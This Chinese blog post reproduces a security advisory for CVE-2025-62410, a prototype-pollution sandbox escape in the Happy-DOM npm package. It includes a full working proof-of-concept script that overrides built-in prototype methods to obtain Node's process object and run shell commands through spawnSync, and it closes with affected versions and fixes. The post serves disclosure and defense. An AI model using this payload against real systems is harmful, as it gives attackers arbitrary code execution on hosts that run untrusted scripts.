原型污染漏洞:Happy-DOM安全隔离失效导致任意代码执行

本文详细分析了CVE-2025-62410安全漏洞,揭示了Happy-DOM通过--disallow-code-generation-from-strings参数隔离不受信任JavaScript代码的防御措施存在缺陷。攻击者利用原型污染技术可在同一进程内篡改关键对象引用,最终实现任意代码执行。文章提供了完整的概念验证代码和修复建议。

概述

GitHub安全公告数据库中的CVE-2025-62410披露了Happy-DOM(一个用于服务器端测试的DOM实现)中的一个严重安全漏洞。该漏洞的核心在于,通过--disallow-code-generation-from-strings参数来禁用eval/Function以隔离不受信任代码的缓解措施并不充分。

漏洞详情

漏洞本质:不受信任的脚本与应用程序的其余部分仍在同一个Isolate/进程中运行,攻击者可以部署原型污染(Prototype Pollution)有效载荷,劫持重要引用(如下例中的"process"),或通过翻转未定义属性的检查来劫持控制流。

潜在攻击方式:可能还存在其他允许操纵require的有效载荷,例如通过(通用)小工具(gadgets)。相关技术可参考论文《Silent Spring: Prototype Pollution Leads to Remote Code Execution in Node.js》(USENIX Security 2023)。

概念验证(PoC)

攻击者可以污染内置对象(如Object.prototype.hasOwnProperty()),在运行时获取重要引用(例如"process")。通过这种方式,攻击者可能能够执行任意命令,如下例通过spawn()实现。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // 可以以这种方式被滥用的其他方法:isPrototypeOf, propertyIsEnumerable, valueOf
    
</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));

影响

通过破坏Node.js的vm隔离实现任意代码执行。

建议的立即行动

用户可以冻结全局作用域中的内置对象,以防御类似于上述PoC的攻击。然而,不受信任的代码可能仍然能够获取全局作用域中可用的各种信息,并通过fetch()将其外泄,即使没有原型污染能力。更不用说由共享进程/Isolate引起的侧信道攻击。因此,建议迁移到isolated-vm

附加信息

此安全公告由Endor Labs安全研究团队的Cris提交,他在JavaScript沙箱化方面有广泛的工作经验。

参考链接

安全元数据

  • CVE ID: CVE-2025-62410
  • GHSA ID: GHSA-qpm2-6cq5-7pq5
  • 漏洞包: npm上的happy-dom
  • 受影响版本: >= 19.0.0, < 20.0.2
  • 已修复版本: 20.0.2
  • 严重等级: 严重(CVSS 4.0 评分 9.4)
  • 弱点枚举: CWE-1321 - 对对象原型属性的控制不当修改(‘原型污染’)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计